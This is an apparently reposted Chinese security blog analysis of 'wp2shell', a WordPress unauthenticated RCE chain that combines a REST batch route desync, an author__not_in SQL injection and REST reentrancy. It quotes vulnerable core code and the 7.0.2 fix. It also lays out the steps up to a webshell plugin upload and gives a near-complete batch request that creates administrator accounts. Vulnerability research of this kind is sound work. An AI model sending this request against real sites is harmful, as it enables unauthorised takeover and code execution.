Wordpress wp2shell 未授权RCE(CVE-2026-63030 / CVE-2026-60137)
2026年了,在AI时代下总感觉什么都有可能,但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议。Wordpress算是我曾经深度研究过的php源码之一,虽然wp架构 2026-7-24 07:49:46 Author: lorexxar.cn(查看原文) 阅读量:8 收藏

2026年了,在AI时代下总感觉什么都有可能,但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议。Wordpress算是我曾经深度研究过的php源码之一,虽然wp架构复杂但是开发习惯很好,封装也比较严格,尤其是对权限的分割都做得很好,在5.0之后我一直认为wp不太可能出未授权的大漏洞了。

但很快,这个漏洞的挖掘者通过两个漏洞的组合就实现了这不可思议的一幕。

据说作者用AI完成了这个漏洞挖掘,并获得了50w刀的赏金(我没有求证,听说)。

接下来我们就古法分析一下这个漏洞具体是怎么回事。

这次的漏洞严格意义上并不是以RCE为目的的漏洞,一共有三个组成,其中两个分配了CVE

  • CVE-2026-63030:REST API 批量请求路由混淆漏洞
  • CVE-2026-60137WP_Queryauthor__not_in SQL 注入漏洞
  • REST重入漏洞,导致管理员权限绕过,这个漏洞没有被分配CVE,但是修复了

而这三个漏洞能够最终构成RCE,有一个很大的原因就是,wp对超级管理员的权限给的很高,在超级管理员的后台你可以轻松的实现RCE利用。

所以与其说我们要在wp中寻找RCE,不如说我们的目标是找到如何进入后台的方法。

CVE-2026-63030 REST API 批量请求路由混淆漏洞

WordPress 的 WP_REST_Server::serve_batch_request_v1()

处理 /wp-json/batch/v1 批量请求时,内部维护了两个数组:

  • $validation:存储每个子请求的验证结果
  • $matches:存储每个子请求匹配到的路由

当某个子请求验证失败,错误就会写入$validation ,但是不会写入$matches

这就导致这两个数组的偏移会不一致

1
2
3
4
5
6
7
8
9
10
11
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request;
continue;
}

$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;

}

这样一来,攻击者就可以构造多次请求,先触发is_wp_error验证触发错误跳过,然后相应请求的参数就会被写入到match。

下一次请求重新读取match,由于match多了一个元素,偏移变了,会直接读取上一次的请求参数,就可以把恶意参数绕过检查直接代入到请求中。

听起来好像不知道具体有什么用?

那首先你要知道这个接口具体是干嘛的,为什么需要通过这种方式绕过。

WordPress 的 /wp-json/batch/v1 是一个合法的批量请求接口

1
2
3
4
5
6
7
8
9
10

POST /wp-json/batch/v1
{
"requests": [
{"path": "/wp/v2/posts/1", "method": "GET"},
{"path": "/wp/v2/posts/2", "method": "GET"},
{"path": "/wp/v2/users/me", "method": "GET"}
],
"validation": "require-all-validate"
}

比如说编辑器保存文章,点击保存,需要同时更新文章,修改分类,上传文件,通过这个接口就可以用一次请求触发多次请求完成目标。

由于这个接口本身就是前端功能之一,所以本身没有鉴权,所以第一步触发就不需要任何权限。

当然这不意味着通过这个接口就可以越权发起后台请求,因为你发送的每一条path,都会独立执行一遍路由匹配,权限检查,参数检查,然后才会发起请求。

在正常的流程中,后续会对参数做校验和检查

1
2
3
4
5
6
7
8
9
10
11
12
if ( ! $error ) {
$check_required = $single_request->has_valid_params();


if ( is_wp_error( $check_required ) ) {
$error = $check_required;
}
}

if ( ! $error ) {
$check_sanitized = $single_request->sanitize_params();
}

而通过这个漏洞,match获取和实际的参数不一致,在校验参数的时候就无法对应获取参数内容做检查,就绕过了参数过滤和限制。

总的来说,CVE-2026-63030,REST API的路由混淆其实较真的话只能算一个bug,因为它并不能直接造成危害,但却是难得的漏洞入口。

WP_Queryauthor__not_in 参数

如果为数组,则会遍历每个元素,并使用absint做处理,转为整数。

如果为字符串,则会直接被拼接到SQL语句当中

1
2
3
4
5
6
7
8
9
10

if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}

$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

这个漏洞非常简单粗暴,但是为什么无法利用呢?

因为你直接请求WP_Query注入,Rest请求走到参数检查的位置会触发检查和过滤,这也是我在开篇提到过的,为什么wp很难出高危漏洞,就是因为wp的编码习惯和全局安全处理做的非常好。

就比如这里正常的请求逻辑中,我们需要注入的参数author__not_in,在参数的类型定义中要求必须是数组,也就无法绕过后续的逻辑

1
2
3
4
5
6
7
8
9
10
11
12




'author_exclude' => [
'description' => '排除指定作者的文章',
'type' => 'array',
'items' => [
'type' => 'integer',
],
'default' => [],
]

那么我们必须使用前面的路由混淆漏洞,避免对于参数类型检查,就可以成功实现字符串的拼接输入。

前面说了,路由混淆漏洞本质上来说其实算一个bug,毕竟他不能提高你的权限。

绕过了参数检查之后,顺利触发了WP_Query的SQL注入漏洞。

但是问题依旧没有完全解决,SQL注入如何让我们获取超级管理员权限呢?毕竟union不能内联insert插入数据,仅仅靠查询语句无法真正进入后台。那么就需要一些更复杂的Wordpress特性了。

  • Wordpress缓存污染

WP_Query 将数据库查询结果行转换为 WP_Post 对象,并触发 WordPress 的请求本地对象缓存机制。

也就是说,其实我们并不是需要通过SQL注入来获取数据的什么内容。

而是通过SQL注入来控制数据库的返回

1
2
3
4
5
6
7
8

$results = $wpdb->get_results( $sql );


foreach ( $results as $row ) {
$post = new WP_Post( $row );
wp_cache_set( $post->ID, $post, 'posts' );
}

但是将内容写入到缓存,又有什么用呢?

  • oEmbed Write Bridge

oEmbed 是一个嵌入内容的标准协议。当你在 WordPress 编辑器里粘贴一个链接,它自动变成可预览的嵌入卡片。

在编辑文章的时候,当用户输入链接,WordPress 调用 oEmbed API 获取元数据,然后会把对应的内容存入内存,这样下次访问就不用在请求了,而是访问缓存读取对应的内容。

那听起来oEmbed应该是一次性请求?

实际上,缓存会过期,就好像你嵌入的网站内容标题封面都会更换,所以oEmbed本身支持缓存刷新机制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14


$cached_post = get_post( $cached_post_id );
$cache = $cached_post->post_content;


if ( $cached_post_id ) {
wp_update_post(
wp_slash( array(
'ID' => $cached_post_id,
'post_content' => $html,
))
);
}

通过这个机制,内存中的数据被二次写入数据库中。

虽然但是这种写入并不是说我可以向数据库的任何表写入任何数据,他还是会写入到wp_posts表中,无法直接控制user表。

这涉及到了wp的另一个机制。

  • Customizer 临时切换管理员身份

Customizer 在保存设置时临时将当前用户切换为 changeset 的原始创建者。如果 changeset 是由管理员创建的,当前请求将临时获得管理员身份。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

$original_user_id = get_current_user_id();
foreach ( $changeset_setting_ids as $setting_id ) {
$setting = $this->get_setting( $setting_id );
if ( $setting ) {

if ( isset( $setting_user_ids[ $setting_id ] ) ) {
wp_set_current_user( $setting_user_ids[ $setting_id ] );
} else {
wp_set_current_user( $original_user_id );
}
$setting->save();
}
}
wp_set_current_user( $original_user_id );

正常来说,这是一个正常的功能,因为changeset根本就没有控制创建者的方式,为了统一权限,内部请求本身会遇到权限限制,那就必须加入权限的切换,否则正常功能无法运行。

但其实这里即便是临时切换管理员,我们也无法做任何控制,关键在于下一步。

此时触发文章保存,除了以上的刷新以外,就会再次触发parse_request的hook,再次发起REST请求解析(前面说过这本身就是批量请求这个接口的原场景)

1
add_action( 'parse_request', 'rest_api_loaded' );

并且在后续的请求中,复用了刚才的状态,也就是被设置为管理员权限的batch

1
2
3
public function is_dispatching() {
return (bool) $this->dispatching_requests;
}

再次触发REST之后,会重新按照请求再次解析一遍依次执行,但这个时候你已经是管理员权限了,所以可以执行管理员的请求。

1
2
3
4
5
6
7
8
9
10
11
12
重入的 serve_request()
→ dispatch()
→ match_request_to_handler("/batch/v1") → batch handler
→ serve_batch_request_v1() ← 整个外层 batch 重新跑
→ 外层[0] "http://:" → ERROR → 跳过
→ 外层[1] /wp/v2/posts → desync → batch handler
→ 读 body.requests → 内层 batch 重新跑
→ 内层[0] "http://:" → ERROR → 跳过
→ 内层[1] /wp/v2/widgets → SQL 注入(这次无所谓)
→ 内层[2] /wp/v2/posts → 触发 post 处理
→ 内层[3] /wp/v2/users → 管理员身份 → 201 ✅ 创建管理员!
→ 内层[4] /wp/v2/users → 管理员身份 → 201

在7.0.2中,当dispatch激活,加载器会提前返回,重入递归不会再进行下去,漏洞就无法利用了

1
2
3
4

if ( $this->is_dispatching() ) {
return false;
}

通过这种方式,我们就可以实现管理员权限的任意REST API调用。

那最终我们在调用创建管理员的API创建超级管理员,后续利用就顺理成章了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
攻击者(无需认证)


[Step 1] 发送 REST 批处理请求
POST /wp-json/batch/v1
包含3个子请求:错误请求 + oEmbed + 恶意查询


[Step 2] Batch Handler 去同步化(CVE-2026-63030
$requests[0] 错误 → 跳过但 $matches 未补位
索引偏移导致路由混乱


[Step 3] 恶意标量值绕过消毒
路由混乱将 unsanitized 标量送入 WP_Query
author__not_in 参数未经 absint() 处理


[Step 4] SQL 注入(CVE-2026-60137
标量值直接拼接进 SQL 语句
构造 UNION SELECT 注入恶意数据


[Step 5] 污染 WP_Post 内存缓存
SQL 注入结果被缓存为 WP_Post 对象
攻击者控制 post_content 等字段


[Step 6] oEmbed 刷新 + wp_update_post() 持久化
oEmbed 处理器从缓存读取被污染的对象
wp_update_post() 仅提交 ID + content
其他字段从被污染的缓存"原始值"合并
污染数据写入数据库


[Step 7] 层级修复(Hierarchy Repair)
wp_update_post() 触发文章层级关系修复
产生更多稀疏更新调用,扩大污染范围


[Step 8] Customizer 临时切换管理员身份
class-wp-customize-manager.php 第 3569-3589 行
wp_set_current_user() 切换到 changeset 作者(管理员)


[Step 9] 动态 Hook 碰撞 → REST 重入
Customizer 的 setting->save() 触发 parse_request hook
嵌套的 REST dispatch 继承管理员身份
WP_REST_Server::is_dispatching() 未阻断重入


[Step 10] 以管理员身份创建管理员账户
嵌套 REST dispatch 使用管理员身份
调用 user creation API 创建新管理员


[Step 11] 安装恶意插件 → 任意代码执行
攻击者使用新管理员账户登录
上传包含 PHP webshell 的插件
实现完整的远程代码执行

最后整个利用请求大概长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /?rest_route=/batch/v1 HTTP/1.1
Content-Type: application/json

{
"requests": [
{"method": "POST", "path": "http://:"},
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{"method": "GET", "path": "http://:"},
{"method": "GET", "path": "/wp/v2/widgets?author_exclude=1)+AND+1=0+UNION+ALL+SELECT+..."},
{"method": "GET", "path": "/wp/v2/posts"},
{"method": "POST", "path": "/wp/v2/users", "body": {"username":"xxx","roles":["administrator"]}},
{"method": "POST", "path": "/wp/v2/users", "body": {"username":"xxx","roles":["administrator"]}}
]
}
},
{"method": "POST", "path": "/batch/v1"}
]
}

其实我觉得这个漏洞最精巧的点有两个

第一是在SQL注入没有太多价值的情况下,通过控制SQL返回来完成后续利用条件,这个思路很妙,以前遇到过但是大多数都是类似于二次注入的场景。

第二是非常巧妙地通过REST重入的漏洞来巧妙的实现提权,实话讲完全没想到这里有个重入问题,因为如果不是重入根本无法实现提权,这个权限分级做的非常死。

在两个非常巧妙的漏洞结合下,实现了几乎最不可能的wp漏洞利用,这种超强的思维拓展,应该算是ai非常优秀的一个场景了


文章来源: https://lorexxar.cn/2026/07/24/wp2shell/
如有侵权请联系:admin#unsafe.sh